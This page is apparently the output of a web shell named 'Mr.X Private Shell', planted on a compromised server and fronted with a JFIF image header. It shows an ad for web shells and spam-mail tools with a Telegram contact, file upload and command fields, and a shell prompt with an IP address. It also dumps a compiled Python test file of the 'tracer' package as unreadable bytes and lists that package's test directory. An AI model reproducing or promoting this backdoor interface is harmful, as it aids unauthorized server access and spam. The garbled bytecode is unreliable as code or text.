����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

"e�
�@s�ddlTddlmZddlmZddlmZmZddlm	Z	ddl
mZmZm
Z
mZzddlmZWnddlmZYn0Gd	d
�d
ej�ZGdd�de�ZGd
d�de	�ZGdd�de�ZGdd�de�ZGdd�de�Zddd�Zedkr�e��dS)�)�*�)�Tracer)�Rules)�Applications�Application)�AffectedProcess)�ProcessesCollection�PackagesCollection�ApplicationsCollection�AffectedProcessesCollection)�patchc@s0eZdZdd�Zeddd�dd��Zdd	�Zd
S)�	TestRulescCs>t�t_tt�tttd�|_d|j_t�	ddd��t
t_dS)N)�memoryi�ZkernelT)�name�ignore)
rrZ_appsr�PackageManagerMockr�dump_memory_mock�tracerZ	timestampZ_append_application�
ProcessesMockrZprocesses_factory��self�r�</usr/lib/python3.9/site-packages/tracer/tests/test_tracer.py�setUps
zTestRules.setUpz0tracer.resources.applications.System.init_systemZdummy)Zreturn_valuecCs>|j��}|�t|�tt�d�t�d�g��|�|t�dS)N�baz�qux)rZtrace_affectedZassertSetEqual�setr�find�assertIsInstancer)rZinit_system�affectedrrr�test_trace_affecteds
$zTestRules.test_trace_affectedcCsV|j�t�d�t�}|�|t�|�t|�d�|d}|�|t	�|�|j
d�dS)Nrrr�)rZtrace_applicationrr�AffectedProcessMockrrZassertEqual�lenr�pid)rr �processrrr�test_trace_application sz TestRules.test_trace_applicationN)�__name__�
__module__�__qualname__rr
r!r'rrrrrs

rc@sXeZdZdd�Zdd�Zedd��Zedd��Zed	d
��Zdd�Z	d
d�Z
dd�ZdS)�ProcessMockcCs||_||_||_||_dS�N)r%�files�_name�_create_time)rr%r�create_timer-rrr�__init__+szProcessMock.__init__cCs|jSr,�r.rrrrr1szProcessMock.namecCs|jSr,r2rrrr�	real_name4szProcessMock.real_namecCsdS�NFrrrrr�is_interpreted8szProcessMock.is_interpretedcCsdSr4rrrrr�
is_session<szProcessMock.is_sessioncCs|jSr,)r/rrrrr0@szProcessMock.create_timecCsgSr,rrrrr�childrenCszProcessMock.childrencCsdSr,rrrrr�parentFszProcessMock.parentN)r(r)r*r1r�propertyr3r5r6r0r7r8rrrrr+*s


r+c@seZdZddd�ZdS)r#NcCs||_t�|_t�|_dSr,)r%rZpackagesr-)rr%rrrr1KszAffectedProcessMock.__init__)N�r(r)r*r1rrrrr#Jsr#c@seZdZedd��ZdS)rc
CsHttdddgd��tdddgd��td	d
dgd��td
ddddg�g�S)N�ZfooiW��file1Zfile2�file3�Zbari'�Zfile10Zfile11Zfile12r"ri
)�file7r=r>�r�a�file4�file9)r	r+rrrr�allSs�zProcessesMock.allN)r(r)r*�staticmethodrFrrrrrRsrc@seZdZdd�ZdS)�PackageMockcCs||_||_||_dSr,)r�modifiedr-)rrrIr-rrrr1^szPackageMock.__init__Nr:rrrrrH]srHc@sXeZdZeddgd��eddgd��eddgd	��ed
dgd��gZd
d�Zdd�ZdS)r�Ai
r<�Bi\)rDZfile5Zfile6�CrC)rAZfile8rE�Di�"r@cstt�fdd�|j��S)Ncs
|j�kSr,)rI)�p��	unix_timerr�<lambda>m�z8PackageManagerMock.packages_newer_than.<locals>.<lambda>)r
�filter�	_packages)rrPrrOr�packages_newer_thanlsz&PackageManagerMock.packages_newer_thancCs$|jD]}|j|kr|jSqdSr,)rTrr-)r�pkg_name�packagerrr�
package_filesos

z PackageManagerMock.package_filesN)r(r)r*rHrTrUrXrrrrrds�rNcCsDi}t��D]2}|jD]&}||vr2||�|�q|g||<qq|Sr,)rrFr-�append)�userrr&�filerrrrus
r�__main__)N)Z__meta__Ztracer.resources.tracerrZtracer.resources.rulesrZtracer.resources.applicationsrrZtracer.resources.processesrZtracer.resources.collectionsr	r
rrZ
unittest.mockr
ZmockZunittestZTestCaser�objectr+r#rrHrrr(�mainrrrr�<module>s$ 


Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 148 B 0644
__init__.cpython-39.pyc File 148 B 0644
__meta__.cpython-39.opt-1.pyc File 385 B 0644
__meta__.cpython-39.pyc File 385 B 0644
test_FilenameCleaner.cpython-39.opt-1.pyc File 1.24 KB 0644
test_FilenameCleaner.cpython-39.pyc File 1.24 KB 0644
test_alpm.cpython-39.opt-1.pyc File 2.25 KB 0644
test_alpm.cpython-39.pyc File 2.25 KB 0644
test_applications.cpython-39.opt-1.pyc File 5.31 KB 0644
test_applications.cpython-39.pyc File 5.31 KB 0644
test_collections.cpython-39.opt-1.pyc File 3.81 KB 0644
test_collections.cpython-39.pyc File 4.15 KB 0644
test_dnf.cpython-39.opt-1.pyc File 2.24 KB 0644
test_dnf.cpython-39.pyc File 2.24 KB 0644
test_dpkg.cpython-39.opt-1.pyc File 2.23 KB 0644
test_dpkg.cpython-39.pyc File 2.23 KB 0644
test_hooks.cpython-39.opt-1.pyc File 1.81 KB 0644
test_hooks.cpython-39.pyc File 1.81 KB 0644
test_lang.cpython-39.opt-1.pyc File 681 B 0644
test_lang.cpython-39.pyc File 681 B 0644
test_package.cpython-39.opt-1.pyc File 872 B 0644
test_package.cpython-39.pyc File 872 B 0644
test_portage.cpython-39.opt-1.pyc File 2.26 KB 0644
test_portage.cpython-39.pyc File 2.26 KB 0644
test_processes.cpython-39.opt-1.pyc File 2.7 KB 0644
test_processes.cpython-39.pyc File 2.86 KB 0644
test_query.cpython-39.opt-1.pyc File 1.35 KB 0644
test_query.cpython-39.pyc File 1.35 KB 0644
test_rules.cpython-39.opt-1.pyc File 3.6 KB 0644
test_rules.cpython-39.pyc File 3.6 KB 0644
test_tracer.cpython-39.opt-1.pyc File 5.33 KB 0644
test_tracer.cpython-39.pyc File 5.33 KB 0644
test_views.cpython-39.opt-1.pyc File 8.72 KB 0644
test_views.cpython-39.pyc File 8.72 KB 0644
test_yum.cpython-39.opt-1.pyc File 2.22 KB 0644
test_yum.cpython-39.pyc File 2.22 KB 0644